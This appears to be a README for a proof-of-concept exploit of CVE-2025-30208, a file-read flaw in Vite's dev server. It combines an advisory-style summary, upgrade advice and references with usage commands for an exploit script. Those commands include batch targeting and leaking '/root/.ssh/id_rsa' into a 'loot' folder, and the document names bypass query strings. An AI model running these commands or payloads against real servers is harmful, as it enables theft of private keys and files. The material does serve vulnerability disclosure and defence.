CVE-2025-30208# CVE-2025-30208 Vite Arbitrary File Read vulnerability 🌌
Here's a detailed overview of **CVE‑2025‑30208**, a medium-severity arbitrary file‑read vulnerability in Vite’s dev server:
---
## 🛠️ What is it?
* Vite’s `@fs` module allows static file access in development mode with path allowances controlled by `server.fs.allow`.
* Versions **before** 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 contain a flaw: URLs crafted with trailing query markers like `?raw??` or `?import&raw??` can bypass access restrictions and expose arbitrary files (e.g., system or source files) ([nvd.nist.gov][1]).
---
## 🔍 Who's affected?
* Vite dev‑servers explicitly **exposed to the network**, enabled via `--host` or `server.host`.
* Vulnerable version ranges:
* 4.5.0 – 4.5.9
* 5.0.0 – 5.4.14
* 6.0.0 – 6.2.2 (with sub-versions as detailed) ([nsfocusglobal.com][2]).
---
## ⚠️ Severity & Impact
* **CVSS 3.1 score: 5.3 (Medium 🟠)**: Network attack, no privileges, high confidentiality impact ([wiz.io][3]).
* Exploitability: straightforward via crafted HTTP requests out of development servers ([wiz.io][3]).
* Public PoC is available, including scripts demonstrating `/etc/passwd` leaks ([github.com][4]).
---
## 🛡️ Mitigation & Response
* **Upgrade Vite** to one of the patched versions:
* **6.2.3**, **6.1.2**, **6.0.12**, **5.4.15**, or **4.5.10** ([nvd.nist.gov][1]).
* **Avoid exposing** dev servers to public networks; limit with `localhost` or firewall rules ([wiz.io][3]).
* Additional scanning tools (e.g., NSFocus EZ, Sangfor, Tenable) support detection ([nsfocusglobal.com][2]).
---
## ✅ Summary Table
```
| Aspect | Details |
| ------------------ | ---------------------------------------------------------- |
| **Flaw** | `@fs` path filter bypass via malformed query strings |
| **Versions** | <4.5.10, <5.4.15, <6.0.12, <6.1.2, <6.2.3 |
| **Severity** | Medium (CVSS 5.3), network exploit, confidentiality impact |
| **Exploitability** | Easy; PoC exists |
| **Patched in** | Vite 4.5.10, 5.4.15, 6.0.12, 6.1.2, 6.2.3 |
| **Mitigation** | Upgrade + avoid exposing dev server |
```
---
## 🔗 References & Sources
* NVD / GitHub Advisory (Mar 24 2025) ([nvd.nist.gov][1], [wiz.io][3], [security.snyk.io][5], [recordedfuture.com][6])
* Technical writeups: NSFocus, Sangfor, Snyk, Recorded Future 
---
## ✅ Recommended Next Steps
1. **Audit your Vite versions** in development environments, especially any exposed externally.
2. **Upgrade** immediately to a fixed version.
3. **Restrict access** to development servers—bind to `localhost`, use VPNs or firewalls.
4. **Run security scans/tools** to detect CVE‑2025‑30208 in your infrastructure.
5. **Monitor your logs** for suspicious `/@fs/...?...?` requests.
Let me know if you'd like help implementing fixes, crafting firewall rules, or assessing exposure!
[1]: https://nvd.nist.gov/vuln/detail/CVE-2025-30208?utm_source=chatgpt.com "CVE-2025-30208 Detail - NVD"
[2]: https://nsfocusglobal.com/vite-arbitrary-file-read-vulnerability-cve-2025-30208/?utm_source=chatgpt.com "Vite Arbitrary File Read vulnerability (CVE-2025-30208) - NSFocus"
[3]: https://www.wiz.io/vulnerability-database/cve/cve-2025-30208?utm_source=chatgpt.com "CVE-2025-30208 Impact, Exploitability, and Mitigation Steps | Wiz"
[4]: https://security.snyk.io/vuln/SNYK-JS-VITE-9512410?utm_source=chatgpt.com "Incorrect Authorization in vite | CVE-2025-30208 | Snyk"
[5]: https://www.recordedfuture.com/vulnerability-database/CVE-2025-30208?utm_source=chatgpt.com "CVE-2025-30208 Description, Impact and Technical Details"
## Examples:
1- Single target exploitation:
```
python3 cve-2025-30208.py -u example.com:5173
```
2- Single target with custom LFI path to leak the file we want:
```
python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'
```
3- Batch exploitation with multiple targets:
```
python3 cve-2025-30208.py -f targets.txt
```
4- Custom bypass query:
```
python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"
```
5- Using a proxy (e.g. Burp Suite):
```
python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080
```
6- Custom output directory:
```
python3 cve-2025-30208.py -u example.com:5173 -o ./loot
```
7- Increase thread count in batch mode:
```
python3 cve-2025-30208.py -f targets.txt -t 50
```
## ⚠️ Disclaimer
This project is created for **educational and research purposes only**. The author is not responsible for any misuse of this tool or information provided herein.
Using this software against systems without explicit permission is **illegal** and strictly prohibited. Always ensure you have **written authorization** before performing any security testing.
By using this repository, you agree to comply with all applicable local, state, national, and international laws.
Log in to view the POC file snapshot cached by Shenlong Bot
Log in to view